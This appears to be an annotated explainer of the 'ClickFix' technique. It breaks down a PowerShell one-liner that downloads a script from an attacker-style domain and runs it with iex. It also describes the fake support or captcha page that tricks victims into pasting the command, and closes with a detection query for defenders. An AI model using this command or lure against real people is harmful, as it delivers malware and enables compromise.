Clickfix IEX
Download and execute a PowerShell script from a remote URL via Invoke-Expression. The payload is fetched at runtime from the attacker-controlled domain.
Runs PowerShell and passes the following string as a single command to execute.
powershell -c iex (Invoke-Expression) executes whatever string is passed to it. The opening quote starts the command string.
"iex (Creates a .NET WebClient object used to perform HTTP requests.
New-Object Net.WebClientDownloads the content at the URL as a string. The attacker hosts a PowerShell script; this fetches it.
).DownloadString('https://fix-support.icu/p')Closes the command string. The downloaded script is passed to iex and executed.
")- 1
Victim runs the command
The
powershell -cone-liner is presented on a fake “support” or “fix” page. The page copies the command to the clipboard, then prompts the victim to press Win+R, Ctrl+V, and Enter. - 2
HTTP download
WebClient.DownloadStringfetches the content fromhttps://fix-support.icu/p. The URL hosts a PowerShell script. - 3
Execute
iex(Invoke-Expression) executes the downloaded script. The script could launch calc.exe, run further downloads, or perform other actions.
- •One-liner. A single command is easy to paste and run. Low friction for the victim.
- •Seems legitimate. Victims are used to captchas and security checks. A fake reCAPTCHA-style prompt feels familiar and trustworthy.
- •Full script control. The attacker can host any PowerShell script. Change the file at the URL and the same command delivers a different payload.
- •Attacker-controlled at any time. Update the script on the server. No need to redistribute links or documents.
- •URL in command. Unlike DNS-based approaches, the domain is visible in the command. Blocklists and URL filtering can help defenders.
DeviceProcessEvents | where Timestamp > ago(7d) | where ProcessCommandLine contains "iex" and ProcessCommandLine contains "DownloadString" and ProcessCommandLine contains "WebClient" | project Timestamp, DeviceName, AccountName, ProcessCommandLine